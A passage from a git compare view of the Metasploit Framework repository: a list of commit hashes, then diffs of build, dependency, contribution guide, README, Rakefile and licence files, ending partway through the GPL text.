| a20c85a655 | |||
| f9999a3033 | |||
| b908ccff0f | |||
| 74c6eb6f78 | |||
| efcb206cdf | |||
| 881ec8d920 | |||
| 03004645f0 | |||
| beefea6fb9 | |||
| 4f55452153 | |||
| 9dcb3059f8 | |||
| 7c8cb2d79e | |||
| 15fa178a66 | |||
| c7546638f2 | |||
| 498f3323f3 | |||
| 8f6457661d | |||
| 4743c9fb33 | |||
| 2b67c5132c | |||
| f0082ba38f | |||
| b4d33fb85a | |||
| 55bdbb6ec9 | |||
| e840f7e9ee | |||
| dabda58f17 | |||
| 465998bc17 | |||
| 376aaa410b | |||
| a9ee2b3480 | |||
| 91f5f304cb | |||
| 3726ddddac | |||
| 3d5a519a2f | |||
| 41d49ed553 | |||
| 1be9ce8649 | |||
| e5b451c000 | |||
| 520c0ca660 | |||
| 61f5eddf47 | |||
| 9adec7e7e7 | |||
| 83d21df9f6 | |||
| d393dbb28f | |||
| a709fe1fe3 | |||
| 33e6bdedee | |||
| 1eb73dec38 | |||
| 42795fec00 | |||
| 68dd0cd497 | |||
| e12cce775e | |||
| bd714017bb | |||
| 0e20d324b8 | |||
| 2f3b1effb9 | |||
| 49b3c9b0e8 | |||
| 42c3bedfad | |||
| e8af6882eb | |||
| a2751e3ccd | |||
| b004f35354 | |||
| 28fe4c0be5 | |||
| a54b14b192 | |||
| c36ab97d41 | |||
| f25b828d31 | |||
| 2b3d48f2a0 | |||
| 6d0dbcb106 | |||
| 251ed30e03 | |||
| a20cec75cc | |||
| 34be642f84 | |||
| bedfd6f9eb | |||
| 698e2eab68 | |||
| 37ee717301 | |||
| f4f023cbfb | |||
| 72cdd67cd0 | |||
| 462a91b005 | |||
| 3f0431cf51 | |||
| c30af98b53 | |||
| b302f50dbe | |||
| f438e6c121 | |||
| f9651be88e | |||
| 37846c0de2 | |||
| b6f591718a | |||
| bc91135808 | |||
| 19e187e88e | |||
| 28511cf666 | |||
| 1c99119ecd | |||
| 8f5759ac13 | |||
| 215e0e48a0 | |||
| 50243a9679 | |||
| 30ceb98d87 | |||
| a3048c7ae8 | |||
| a30f104ee6 | |||
| 93741770e2 | |||
| 95d949e860 | |||
| dc6b2f4205 | |||
| 73190f6680 | |||
| b282901b08 | |||
| dad4d8e4be | |||
| fc7293baae | |||
| d9c39d3798 | |||
| 7be365c299 | |||
| 0fcc53b0a2 | |||
| f633281870 | |||
| a071d2805e | |||
| 01803c4a33 | |||
| 0acbd99e71 | |||
| 08ff6c72b1 | |||
| b9e7af6bcd | |||
| 0759c3b75c | |||
| b53a1396fc | |||
| 659b030269 | |||
| 34f42bab17 | |||
| efe4136e5b | |||
| 2565888ec5 | |||
| 11e6a09cb0 | |||
| a51df5fc3a | |||
| 86d20b2de1 | |||
| 1817942aae | |||
| 7bb36bfbde | |||
| 7e318e9787 | |||
| ea66deb779 | |||
| bada88cdf0 | |||
| 3752c10ccf | |||
| 59468846e3 | |||
| 522991f351 | |||
| 7fd3644b8b | |||
| 6ae17db7d3 | |||
| 315d68b6f5 | |||
| ced5b9916e | |||
| c5c1e71b32 | |||
| 353d49d05b | |||
| abbd8c8cd5 | |||
| 92dafd4d17 | |||
| 933949a6b0 | |||
| 2e15ecfbd7 | |||
| 9d6fc93ed3 | |||
| 28bf017ca9 | |||
| 4681ed1c1e | |||
| 0def186824 | |||
| 35543d691d | |||
| fb1bf0b356 | |||
| daf5ae8e4b | |||
| c463bd7c6d | |||
| 17e41b2e39 | |||
| a0b491355c | |||
| 02a41afb2b | |||
| 00bb216927 | |||
| ab035e078d | |||
| 47c5745673 | |||
| e324ed5251 | |||
| 1c11b1b1b7 | |||
| b5f5804d94 | |||
| 198070361b | |||
| 03b65c6a48 | |||
| 2ad17299e2 | |||
| e93a6ddf83 | |||
| 2dbb17ac6e | |||
| 5105c1a4df | |||
| 4d94eeb79d | |||
| a19583624e | |||
| b5f1554caf | |||
| 1f21ae53fe | |||
| 53aece03ef | |||
| 7e6c2f340e | |||
| fd67f7c37c | |||
| 54e14014c3 | |||
| 59ea8c9ab9 | |||
| 43dffbe996 | |||
| efdcda55ef | |||
| 13ba51db34 | |||
| b7e26db84e | |||
| b81315790d | |||
| 1d63cd6f6b | |||
| 9e7acf3a57 | |||
| 5496beebbc | |||
| 28fddcf18c | |||
| e70ccddc9a | |||
| 54fb6d2f7a | |||
| 2e9658f582 | |||
| 065d3187d3 | |||
| 826de2dcf0 | |||
| 8273eee715 | |||
| c00222b4c2 | |||
| fe86ab9914 | |||
| e889d93924 | |||
| a3a308f74d | |||
| 820d5d2ec7 | |||
| 300b96a711 | |||
| db5b3c8259 | |||
| d615e3bcb8 | |||
| 712a21717a | |||
| 7c1442c4b4 | |||
| 34c93d8e44 | |||
| 96d70e5fb6 | |||
| 86ba759c07 | |||
| 18c8314d79 | |||
| 8f537653b4 | |||
| 0b86ceb528 | |||
| e774df5c32 | |||
| c4fad0dea5 | |||
| 7b0fbaed23 | |||
| d595f908fc | |||
| 7c85a2796a | |||
| 5bf973871c | |||
| e88501789c | |||
| 2a24b14331 | |||
| f7224ab306 | |||
| 0ecffd22b1 | |||
| c606896122 | |||
| 5004515187 | |||
| 101abb45a1 | |||
| 22601180f3 | |||
| ac0d22453a | |||
| 8d837f5d20 | |||
| fab3bfcea1 | |||
| f988622369 | |||
| dc08bc337b | |||
| 0b7b71e240 | |||
| 94f114b69a | |||
| 7a4f1a111b | |||
| 287d68f304 | |||
| bf0f5a7e5a | |||
| a37e98f159 | |||
| e97994fdde | |||
| c4b64a51f7 | |||
| 0c1d736fbc | |||
| 3bd0276ab3 | |||
| 87ce3fe2f7 | |||
| c9604d8902 | |||
| d9ab464d4d | |||
| c9aa057b6d | |||
| c43ef8b5bc | |||
| ca08e225fb | |||
| 5cc98b7ded | |||
| c823e8099e | |||
| cafe803217 | |||
| 72b1f113ce | |||
| df85e4f586 | |||
| 0b41d0f77d | |||
| 17943c7a48 | |||
| c386e1ce31 | |||
| 0be83dae06 | |||
| 77f95df1e9 | |||
| 125aa43072 | |||
| d273a0e44b | |||
| 4772c1258e | |||
| 675dfe4e14 | |||
| 1104dccde8 | |||
| 7cc905832e | |||
| 5dd866ed4a | |||
| eea20e773b | |||
| 1fc7597a56 | |||
| 37cdd438ab | |||
| 3f1a72932e | |||
| c14a3e655e | |||
| 822e109b1f | |||
| 38dfd8060e | |||
| ba2787df8a | |||
| c95a06e247 | |||
| 628233d15c | |||
| d8c3edd316 | |||
| 3a4a61da80 | |||
| f9bcb95952 | |||
| 964a6af423 | |||
| f6e9ae6569 | |||
| d5d285ae96 | |||
| e4f80a1fab | |||
| 7811b0a3fd | |||
| 41aac751e9 | |||
| 373c174af3 | |||
| 52183aa249 | |||
| fec2ec37f8 | |||
| d080a3ecf8 | |||
| bedf010676 | |||
| e7f5bf132c | |||
| 6ff8c9885d | |||
| 2197332c3d | |||
| c0d17734ed | |||
| 32a0596a03 | |||
| c4ab521d7b | |||
| c6d91481f7 | |||
| 4a5064a21e | |||
| 2238363e4d | |||
| 0b35ab6a75 | |||
| a21e832336 | |||
| 952ada1742 | |||
| 2fccf4674f | |||
| 1b70ba8208 | |||
| 0fd3f96720 | |||
| 14d8ba00af | |||
| 99368d27e5 | |||
| 9a5e4d6500 | |||
| 445bd90afb | |||
| a88af1dd36 | |||
| fe7928c18d | |||
| de22d76a40 | |||
| 5bd374e6e9 | |||
| aee9c8292c | |||
| f60429ea57 | |||
| 709f860e8d | |||
| 62f6ed97a7 | |||
| dd4aaa07fa | |||
| 336a00bc54 | |||
| 7a78c99c5e | |||
| 74e4812946 | |||
| 0b2a8e0b70 | |||
| 4943b4c694 | |||
| b89e77c842 | |||
| 8428d16db3 | |||
| 3cd66402b7 | |||
| 42719ab34b | |||
| 55bb7abc89 | |||
| 5d7190e8cb | |||
| 406661f620 | |||
| 740c493be2 | |||
| 19e32c210a | |||
| 46e58f8618 | |||
| 5f0075e24f | |||
| 37d6af7633 | |||
| 4acb627d13 | |||
| f5698f4bdc | |||
| 82885cc6e5 | |||
| 898398fd54 | |||
| 9b3f602910 | |||
| ee84195bdb | |||
| bc6ec537f9 | |||
| b298597218 | |||
| 64270ea7c2 | |||
| 4ee24f7e42 | |||
| 8b06835109 | |||
| 3c683fcf99 | |||
| d54a228f65 | |||
| c4052b3f6c | |||
| a8b534ddec | |||
| 2e49e56126 | |||
| 1beaeb8e2f | |||
| 06b12bcd7d | |||
| 6bbf018423 | |||
| 3033838909 | |||
| 84269f399b | |||
| f4a446a6c1 | |||
| 5aeab77499 | |||
| d17b07a6e1 | |||
| 7690e86a89 | |||
| bcfa96ced8 | |||
| 0b817944c3 | |||
| 2e8b11ca78 | |||
| 99a5d1a7b5 | |||
| ecb106d714 | |||
| 2906686da1 | |||
| d5cec05cc3 | |||
| 253802761f | |||
| d0f49c1213 | |||
| 73331b66e6 | |||
| 6b6dc60b25 | |||
| dc10fac885 | |||
| 79a590ccf7 | |||
| b0b72b05d5 | |||
| c7b9b711f1 | |||
| d2c26f989c | |||
| c1fbf1f931 | |||
| dd42c3096e | |||
| 15fbb1e86c | |||
| e2bf3c5750 | |||
| bc1c9a7fe4 | |||
| ab655677b4 | |||
| af71cdafe2 | |||
| 1d6b2eb3fe | |||
| 5d8fbefc3d | |||
| 653d7e5923 | |||
| c2c160f86c | |||
| aa3930fcb9 | |||
| 36c805c5ff | |||
| 7eabce8872 | |||
| 2b13330483 | |||
| 6e8c3ad1e3 | |||
| c69e34d407 | |||
| 86c3ad5e0c | |||
| e1156834b9 | |||
| 65800f7c6e | |||
| 4909d8073a | |||
| b29f2265f5 | |||
| 7a05f3eab4 | |||
| 318b14af4c | |||
| 1eec1cebb5 | |||
| 536fa39ae8 | |||
| 88b35a32e5 | |||
| 421630ef85 | |||
| 5bf03aff7d | |||
| 452cead1e9 | |||
| 86500aad47 | |||
| 91a8ff2766 | |||
| fa9d23d839 | |||
| ce16ab662c | |||
| 22585ad935 | |||
| b8227b8a2e | |||
| 122a3b7848 | |||
| 6bd0e6ef80 | |||
| 8ac11e6054 | |||
| 1cf0e555c8 | |||
| 1a30e221a0 | |||
| f6c88377f4 | |||
| 7ef965da45 | |||
| af6589b725 | |||
| 3a25658511 | |||
| cf664eb68f | |||
| 24a9cd92a6 | |||
| 2012057098 | |||
| da50bf90d8 | |||
| 5b688124a2 | |||
| ba4ae384d7 | |||
| cef2da6110 | |||
| 92e07aab12 | |||
| 18a44148dc | |||
| 9c3d2355b1 | |||
| f48d36ca31 | |||
| 454a20b079 | |||
| 457ca44f27 | |||
| babababeb1 | |||
| 8b3b952ccd | |||
| 423437c620 | |||
| c6b39e8e5c | |||
| 69b60b88f8 | |||
| 4f2226e3b9 | |||
| 2ce3558bb4 | |||
| bed4846763 | |||
| d668e2321d | |||
| 6cf6a9548d | |||
| d5d35551ab | |||
| 6d5ceb07b6 | |||
| 9a36017271 | |||
| 25b11a02b5 | |||
| 4bf674ece6 | |||
| 1a4d3f849c | |||
| 1cdc376f2b | |||
| 7ca69f00b0 | |||
| 2d1f4d4f3e | |||
| 40ec3d9d40 | |||
| 605e1929e4 | |||
| 5151a4c530 | |||
| 99d7b2601c | |||
| 43d730d564 | |||
| dd7bc23d16 | |||
| c26dff4cff | |||
| 1c03c2b157 | |||
| 194c0906c2 | |||
| 6ab66dc59e | |||
| d68d832c9d | |||
| c27fb73b53 | |||
| 63934fc368 | |||
| 06926a30b4 | |||
| 7e969a9849 | |||
| 4cdef9ab4c | |||
| 3e72f555ae | |||
| 3099236059 | |||
| 094e7d0327 | |||
| bbca2c4649 | |||
| 01b0d85526 | |||
| a9dd2f49d7 | |||
| 172456b680 | |||
| 5ae3aa8f84 |
+13
@@ -1,10 +1,23 @@
|
||||
# Rubymine project directory
|
||||
.idea
|
||||
# RVM control file
|
||||
.rvmrc
|
||||
# YARD cache directory
|
||||
.yardoc
|
||||
# Mac OS X files
|
||||
.DS_Store
|
||||
# simplecov coverage data
|
||||
coverage
|
||||
data/meterpreter/ext_server_pivot.dll
|
||||
data/meterpreter/ext_server_pivot.x64.dll
|
||||
doc
|
||||
external/source/meterpreter/java/bin
|
||||
external/source/meterpreter/java/build
|
||||
external/source/meterpreter/java/extensions
|
||||
external/source/javapayload/bin
|
||||
external/source/javapayload/build
|
||||
# Packaging directory
|
||||
pkg
|
||||
tags
|
||||
*.swp
|
||||
*.orig
|
||||
|
||||
@@ -0,0 +1,8 @@
|
||||
language: ruby
|
||||
rvm:
|
||||
- '1.8.7'
|
||||
- '1.9.3'
|
||||
|
||||
notifications:
|
||||
irc: "irc.freenode.org#msfnotify"
|
||||
|
||||
@@ -0,0 +1,33 @@
|
||||
# Contributing to Metasploit
|
||||
|
||||
## Reporting Bugs
|
||||
|
||||
If you would like to report a bug, please take a look at [our Redmine
|
||||
issue
|
||||
tracker](https://dev.metasploit.com/redmine/projects/framework/issues?query_id=420)
|
||||
-- your bug may already have been reported there! Simply [searching](https://dev.metasploit.com/redmine/projects/framework/search) for some appropriate keywords may save everyone a lot of hassle.
|
||||
|
||||
If your bug is new and you'd like to report it you will need to
|
||||
[register
|
||||
first](https://dev.metasploit.com/redmine/account/register). Don't
|
||||
worry, it's easy and fun and takes about 30 seconds.
|
||||
|
||||
## Contributing Metasploit Modules
|
||||
|
||||
If you have an exploit that you'd like to contribute to the Metasploit
|
||||
Framework, please familiarize yourself with the
|
||||
**[HACKING](https://github.com/rapid7/metasploit-framework/blob/master/HACKING)**
|
||||
document in the
|
||||
Metasploit-Framework repository. There are many mysteries revealed in
|
||||
HACKING concerning code style and content.
|
||||
|
||||
[Pull requests](https://github.com/rapid7/metasploit-framework/pulls)
|
||||
should corellate with modules at a 1:1 ratio
|
||||
-- there is rarely a good reason to have two, three, or ten modules on
|
||||
one pull request, as this dramatically increases the review time
|
||||
required to land (commit) any of those modules.
|
||||
|
||||
Pull requests tend to be very collaborative for Metasploit -- do not be
|
||||
surprised if your pull request to rapid7/metasploit-framework triggers a
|
||||
pull request back to your own fork. In this way, we can isolate working
|
||||
changes before landing your PR to the Metasploit master branch.
|
||||
+2
-18
@@ -1,4 +1,4 @@
|
||||
Copyright (C) 2006-2012, Rapid7 LLC
|
||||
Copyright (C) 2006-2012, Rapid7 Inc.
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
@@ -49,21 +49,5 @@ This license does not apply to the following components:
|
||||
- The Zip library located under lib/zip
|
||||
- The SSHKey library located under lib/sshkey
|
||||
|
||||
The latest version of this software is available from http://metasploit.com/
|
||||
|
||||
Bug tracking and development information can be found at:
|
||||
https://dev.metasploit.com/redmine/projects/framework/
|
||||
|
||||
The public GitHub source repository can be found at:
|
||||
https://github.com/rapid7/metasploit-framework
|
||||
|
||||
Questions and suggestions can be sent to:
|
||||
msfdev[at]metasploit.com
|
||||
|
||||
The framework mailing list is the place to discuss features and ask for help.
|
||||
To subscribe, visit the following web page:
|
||||
https://mail.metasploit.com/mailman/listinfo/framework
|
||||
|
||||
The archives are available from:
|
||||
https://mail.metasploit.com/pipermail/framework/
|
||||
Details for the above packages can be found in the THIRD-PARTY file.
|
||||
|
||||
@@ -1,8 +1,30 @@
|
||||
source 'http://rubygems.org'
|
||||
gem 'rails', '3.2.2'
|
||||
gem 'metasploit_data_models', '0.0.2', :git => "git://github.com/rapid7/metasploit_data_models.git"
|
||||
gem 'pg', '>=0.13'
|
||||
gem 'msgpack'
|
||||
gem 'nokogiri'
|
||||
|
||||
# Need 3+ for ActiveSupport::Concern
|
||||
gem 'activesupport', '>= 3.0.0'
|
||||
# Needed for Msf::DbManager
|
||||
gem 'activerecord'
|
||||
# Database models shared between framework and Pro.
|
||||
gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.3.0'
|
||||
# Needed for module caching in Mdm::ModuleDetails
|
||||
gem 'pg', '>= 0.11'
|
||||
|
||||
group :development do
|
||||
# Markdown formatting for yard
|
||||
gem 'redcarpet'
|
||||
# generating documentation
|
||||
gem 'yard'
|
||||
end
|
||||
|
||||
group :development, :test do
|
||||
# running documentation generation tasks and rspec tasks
|
||||
gem 'rake'
|
||||
end
|
||||
|
||||
group :test do
|
||||
# testing framework
|
||||
gem 'rspec'
|
||||
# code coverage for tests
|
||||
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
|
||||
gem 'simplecov', '0.5.4', :require => false
|
||||
end
|
||||
|
||||
@@ -0,0 +1,68 @@
|
||||
GIT
|
||||
remote: git://github.com/rapid7/metasploit_data_models.git
|
||||
revision: 73f26789500f278dd6fd555e839d09a3b81a05f4
|
||||
tag: 0.3.0
|
||||
specs:
|
||||
metasploit_data_models (0.3.0)
|
||||
activerecord
|
||||
activesupport
|
||||
pg
|
||||
pry
|
||||
|
||||
GEM
|
||||
remote: http://rubygems.org/
|
||||
specs:
|
||||
activemodel (3.2.8)
|
||||
activesupport (= 3.2.8)
|
||||
builder (~> 3.0.0)
|
||||
activerecord (3.2.8)
|
||||
activemodel (= 3.2.8)
|
||||
activesupport (= 3.2.8)
|
||||
arel (~> 3.0.2)
|
||||
tzinfo (~> 0.3.29)
|
||||
activesupport (3.2.8)
|
||||
i18n (~> 0.6)
|
||||
multi_json (~> 1.0)
|
||||
arel (3.0.2)
|
||||
builder (3.0.3)
|
||||
coderay (1.0.8)
|
||||
diff-lcs (1.1.3)
|
||||
i18n (0.6.1)
|
||||
method_source (0.8.1)
|
||||
multi_json (1.3.6)
|
||||
pg (0.14.1)
|
||||
pry (0.9.10)
|
||||
coderay (~> 1.0.5)
|
||||
method_source (~> 0.8)
|
||||
slop (~> 3.3.1)
|
||||
rake (0.9.2.2)
|
||||
redcarpet (2.1.1)
|
||||
rspec (2.11.0)
|
||||
rspec-core (~> 2.11.0)
|
||||
rspec-expectations (~> 2.11.0)
|
||||
rspec-mocks (~> 2.11.0)
|
||||
rspec-core (2.11.1)
|
||||
rspec-expectations (2.11.3)
|
||||
diff-lcs (~> 1.1.3)
|
||||
rspec-mocks (2.11.3)
|
||||
simplecov (0.5.4)
|
||||
multi_json (~> 1.0.3)
|
||||
simplecov-html (~> 0.5.3)
|
||||
simplecov-html (0.5.3)
|
||||
slop (3.3.3)
|
||||
tzinfo (0.3.33)
|
||||
yard (0.8.2.1)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
||||
DEPENDENCIES
|
||||
activerecord
|
||||
activesupport (>= 3.0.0)
|
||||
metasploit_data_models!
|
||||
pg (>= 0.11)
|
||||
rake
|
||||
redcarpet
|
||||
rspec
|
||||
simplecov (= 0.5.4)
|
||||
yard
|
||||
@@ -31,10 +31,10 @@ interfaces other than msfconsole, such as msfrpc and msfgui, won't see
|
||||
your output. You can use print_line to accomplish the same thing as
|
||||
puts.
|
||||
|
||||
2. Don't read from from standard input, doing so will make your code
|
||||
2. Don't read from standard input, doing so will make your code
|
||||
lock up the entire module when called from other interfaces. If you
|
||||
need user input, you can either register an option or expose an
|
||||
interactve session type specific for the type of exploit.
|
||||
interactive session type specific for the type of exploit.
|
||||
|
||||
3. Don't use "sleep". It has been known to cause issues with
|
||||
multi-threaded programs on various platforms. Instead, we use
|
||||
@@ -48,7 +48,7 @@ the creation of ruby sockets and won't know how to clean them up in
|
||||
case your module raises an exception without cleaning up after itself.
|
||||
Secondly, non-Rex sockets do not know about routes and therefore can't
|
||||
be used through a meterpreter tunnel. Lastly, regular sockets miss
|
||||
out on msf's proxy and ssl features. Msf includes many protocols
|
||||
out on msf's proxy and SSL features. Msf includes many protocols
|
||||
already implemented with Rex and if the protocol you need is missing,
|
||||
porting another library to use them is straight-forward. See our
|
||||
Net::SSH modifications in lib/net/ssh/ for an example.
|
||||
@@ -112,13 +112,19 @@ Submitting Your Code
|
||||
|
||||
The process for submitting new modules via GitHub is documented here:
|
||||
|
||||
https://github.com/rapid7/metasploit-framework/wiki/Working-with-the-Framework-Repo
|
||||
https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Development-Environment
|
||||
|
||||
This describes the process of forking, editing, and generating a
|
||||
pull request, and is the preferred method for bringing new modules
|
||||
and framework enhancements to the attention of the core Metasploit
|
||||
development team. Note that this process requires a GitHub account.
|
||||
|
||||
For Git commits, please adhere to 50/72 formatting: your commits should
|
||||
start with a line 50 characters or less, followed by a blank line,
|
||||
followed by one or more lines of explanatory text wrapped at at 72
|
||||
characters Pull requests with commits not formatted this way will
|
||||
be rejected without review.
|
||||
|
||||
For modules, note that Author field is not automatic, and should be
|
||||
filled in in the format of 'Your Name <user[at]domain.tld>' so future
|
||||
developers can contact you with any questions.
|
||||
|
||||
@@ -0,0 +1,55 @@
|
||||
|
||||
Metasploit [](https://travis-ci.org/rapid7/metasploit-framework) [](https://codeclimate.com/github/rapid7/metasploit-framework)
|
||||
==
|
||||
The Metasploit Framework is released under a BSD-style license. See
|
||||
COPYING for more details.
|
||||
|
||||
The latest version of this software is available from http://metasploit.com/
|
||||
|
||||
Bug tracking and development information can be found at:
|
||||
https://dev.metasploit.com/redmine/projects/framework/
|
||||
|
||||
The public GitHub source repository can be found at:
|
||||
https://github.com/rapid7/metasploit-framework
|
||||
|
||||
Questions and suggestions can be sent to:
|
||||
msfdev(at)metasploit.com
|
||||
|
||||
The framework mailing list is the place to discuss features and ask for help.
|
||||
To subscribe, visit the following web page:
|
||||
https://mail.metasploit.com/mailman/listinfo/framework
|
||||
|
||||
The mailing list archives are available from:
|
||||
https://mail.metasploit.com/pipermail/framework/
|
||||
|
||||
Installing
|
||||
--
|
||||
Generally, you should use the installer which contains all dependencies
|
||||
and will get you up and running with a few clicks. See the [Dev
|
||||
Environment Setup][wiki-devenv] if you'd like to deal with dependencies
|
||||
on your own.
|
||||
|
||||
Using Metasploit
|
||||
--
|
||||
Metasploit can do all sorts of things. The first thing you'll want to do
|
||||
is start `msfconsole`, but after that, you'll probably be best served by
|
||||
reading some of the great tutorials online:
|
||||
|
||||
* [Metasploit Unleashed][unleashed]
|
||||
* [The official Metasploit wiki on Github][wiki-start]
|
||||
|
||||
Contributing
|
||||
--
|
||||
See the [Dev Environment Setup][wiki-devenv] guide on GitHub which will
|
||||
walk you through the whole process starting from installing all the
|
||||
dependencies, to cloning the repository, and finally to submitting a
|
||||
pull request. For slightly more info, see
|
||||
[Contributing](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md).
|
||||
|
||||
|
||||
[wiki-devenv]: https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Development-Environment "Metasploit Development Environment Setup"
|
||||
[wiki-start]: https://github.com/rapid7/metasploit-framework/wiki/ "Metasploit Wiki"
|
||||
[wiki-usage]: https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit "Using Metasploit"
|
||||
[unleashed]: http://www.offensive-security.com/metasploit-unleashed/ "Metasploit Unleashed"
|
||||
|
||||
|
||||
@@ -0,0 +1,47 @@
|
||||
require 'bundler/setup'
|
||||
|
||||
require 'rspec/core/rake_task'
|
||||
require 'yard'
|
||||
|
||||
RSpec::Core::RakeTask.new(:spec)
|
||||
|
||||
task :default => :spec
|
||||
|
||||
namespace :yard do
|
||||
yard_files = [
|
||||
# Ruby source files first
|
||||
'lib/msf/**/*.rb',
|
||||
'lib/rex/**/*.rb',
|
||||
# Anything after '-' is a normal documentation, not source
|
||||
'-',
|
||||
'COPYING',
|
||||
'HACKING',
|
||||
'THIRD-PARTY.md'
|
||||
]
|
||||
yard_options = [
|
||||
# include documentation for protected methods for developers extending the code.
|
||||
'--protected'
|
||||
]
|
||||
|
||||
YARD::Rake::YardocTask.new(:doc) do |t|
|
||||
t.files = yard_files
|
||||
# --no-stats here as 'stats' task called after will print fuller stats
|
||||
t.options = yard_options + ['--no-stats']
|
||||
|
||||
t.after = Proc.new {
|
||||
Rake::Task['yard:stats'].execute
|
||||
}
|
||||
end
|
||||
|
||||
desc "Shows stats for YARD Documentation including listing undocumented modules, classes, constants, and methods"
|
||||
task :stats => :environment do
|
||||
stats = YARD::CLI::Stats.new
|
||||
yard_arguments = yard_options + ['--compact', '--list-undoc'] + yard_files
|
||||
stats.run(*yard_arguments)
|
||||
end
|
||||
end
|
||||
|
||||
# @todo Figure out how to just clone description from yard:doc
|
||||
desc "Generate YARD documentation"
|
||||
# allow calling namespace to as a task that goes to default task for namespace
|
||||
task :yard => ['yard:doc']
|
||||
+1083
@@ -0,0 +1,1083 @@
|
||||
|
||||
|
||||
This file lists bundled packages and their associated licensing terms.
|
||||
|
||||
|
||||
- The Packet Sniffer SDK (MicroOLAP) library embedded into the Meterpreter
|
||||
Sniffer extension. HD Moore has a single-seat developer license.
|
||||
- The Rabal library located under lib/rabal
|
||||
|
||||
|
||||
|
||||
|
||||
Ruby
|
||||
====
|
||||
- The Bit-Struct library located under lib/bit-struct.
|
||||
Copyright (c) 2005-2009, Joel VanderWerf.
|
||||
- The SNMP library located under lib/snmp.
|
||||
Copyright (c) 2004 David R. Halliday
|
||||
- The Zip library located under lib/zip.
|
||||
Copyright (C) 2002-2004 Thomas Sondergaard
|
||||
- Gem components located under lib/gemcache/
|
||||
* rdoc - RDoc is Copyright (c) 2001-2003 Dave Thomas, The Pragmatic Programmers.
|
||||
Portions (c) 2007-2011 Eric Hodel. Portions copyright others, see individual
|
||||
files for details.
|
||||
* eventmachine - Copyright (C) 2006-07 by Francis Cianfrocca
|
||||
* json - Copyright Daniel Luz <dev at mernen dot com>
|
||||
* pg - Copyright (c) 1997-2012 by the authors
|
||||
|
||||
|
||||
|
||||
````
|
||||
1. You may make and give away verbatim copies of the source form of the
|
||||
software without restriction, provided that you duplicate all of the
|
||||
original copyright notices and associated disclaimers.
|
||||
|
||||
2. You may modify your copy of the software in any way, provided that
|
||||
you do at least ONE of the following:
|
||||
|
||||
a) place your modifications in the Public Domain or otherwise
|
||||
make them Freely Available, such as by posting said
|
||||
modifications to Usenet or an equivalent medium, or by allowing
|
||||
the author to include your modifications in the software.
|
||||
|
||||
b) use the modified software only within your corporation or
|
||||
organization.
|
||||
|
||||
c) rename any non-standard executables so the names do not conflict
|
||||
with standard executables, which must also be provided.
|
||||
|
||||
d) make other distribution arrangements with the author.
|
||||
|
||||
3. You may distribute the software in object code or executable
|
||||
form, provided that you do at least ONE of the following:
|
||||
|
||||
a) distribute the executables and library files of the software,
|
||||
together with instructions (in the manual page or equivalent)
|
||||
on where to get the original distribution.
|
||||
|
||||
b) accompany the distribution with the machine-readable source of
|
||||
the software.
|
||||
|
||||
c) give non-standard executables non-standard names, with
|
||||
instructions on where to get the original software distribution.
|
||||
|
||||
d) make other distribution arrangements with the author.
|
||||
|
||||
4. You may modify and include the part of the software into any other
|
||||
software (possibly commercial). But some files in the distribution
|
||||
are not written by the author, so that they are not under this terms.
|
||||
|
||||
They are gc.c(partly), utils.c(partly), regex.[ch], st.[ch] and some
|
||||
files under the ./missing directory. See each file for the copying
|
||||
condition.
|
||||
|
||||
5. The scripts and library files supplied as input to or produced as
|
||||
output from the software do not automatically fall under the
|
||||
copyright of the software, but belong to whomever generated them,
|
||||
and may be sold commercially, and may be aggregated with this
|
||||
software.
|
||||
|
||||
6. THIS SOFTWARE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR
|
||||
IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED
|
||||
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
PURPOSE.
|
||||
|
||||
````
|
||||
|
||||
|
||||
PacketFu
|
||||
========
|
||||
- The PacketFu library located under lib/packetfu.
|
||||
Copyright (c) 2008-2012, Tod Beardsley
|
||||
|
||||
````
|
||||
Copyright (c) 2008-2012, Tod Beardsley
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright
|
||||
notice, this list of conditions and the following disclaimer.
|
||||
* Redistributions in binary form must reproduce the above copyright
|
||||
notice, this list of conditions and the following disclaimer in the
|
||||
documentation and/or other materials provided with the distribution.
|
||||
* Neither the name of Tod Beardsley nor the
|
||||
names of its contributors may be used to endorse or promote products
|
||||
derived from this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY TOD BEARDSLEY ''AS IS'' AND ANY
|
||||
EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL TOD BEARDSLEY BE LIABLE FOR ANY
|
||||
DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
````
|
||||
|
||||
|
||||
|
||||
GPL
|
||||
===
|
||||
- The modified TightVNC binaries and their associated source code.
|
||||
|
||||
````
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
Version 2, June 1991
|
||||
|
||||
Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
|
||||
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
